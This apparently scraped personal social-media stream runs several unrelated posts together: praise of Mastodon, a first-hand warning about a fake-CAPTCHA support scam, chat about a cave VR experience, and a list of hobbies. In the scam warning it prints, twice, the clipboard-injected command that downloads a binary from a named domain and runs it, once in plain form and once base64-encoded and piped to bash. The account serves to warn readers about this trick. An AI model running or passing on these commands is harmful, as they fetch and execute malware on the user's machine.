Despite its flaws and nicheness, it's the last functioning, human-centric version of the ReadWriteWeb. Social media as it should be. Eugen shows that he has his heart in the right place.

I would bet. I haven't checked further.

That's a problem when email conversations and such support cases get more personalized and plausible thanks to AI. You have to pay a lot more attention all the time.

I feel stupid that I went even past the "I'm not a robot" thingy, but the support conversation was plausible enough for me to start wondering a bit too late - gladly still early enough. …

```
curl -sL -o /tmp/l4yvbRe74NAs 'https://www.amanagencies.com/assets/js/grecaptcha'; chmod +x /tmp/l4yvbRe74NAs; /tmp/l4yvbRe74NAs
```

(added quotes to the URL to avoid embedding here) …

```
echo -n Y3VybCAtc0wgLW8gL3RtcC9sNHl2YlJlNzROQXMgaHR0cHM6Ly93d3cuYW1hbmFnZW5jaWVzLmNvbS9hc3NldHMvanMvZ3JlY2FwdGNoYTsgY2htb2QgK3ggL3RtcC9sNHl2YlJlNzROQXM7IC90bXAvbDR5dmJSZTc0TkFz | base64 -d | bash
```

Yikes 🤯

What's behind that base64 decoded string, you might ask? …

Wait a minute!! Let's have a look at what already ended up in my clipboard - probably injected with the captcha …

3. I verified the domain and got a "I'm not a robot" capture first. So far, still plausible enough.

4. Then I got this …

2. The screenshot was hosted on Google Sites. Weird choice, but not totally unusual so far. People often send screenshots that are hosted somewhere. E.g. via CleanShot or similar tools. …

Oh god, was it about that cave where someone got stuck and died in an unbelievable tight space and they recreated that experience for VR? I saw that one too. 😱

Hell no, I'm the claustrophobic one who's still weirdly obsessed with it. 😄

- Tunnels and underground structures
- Spelunking in combination with claustrophobia
- Lost places
- The maker movement
- Off-grid living
- Irrigation systems
- IndieWeb & decentralization
- Hiking
- Running
- MiniDisc
- Parks & Rec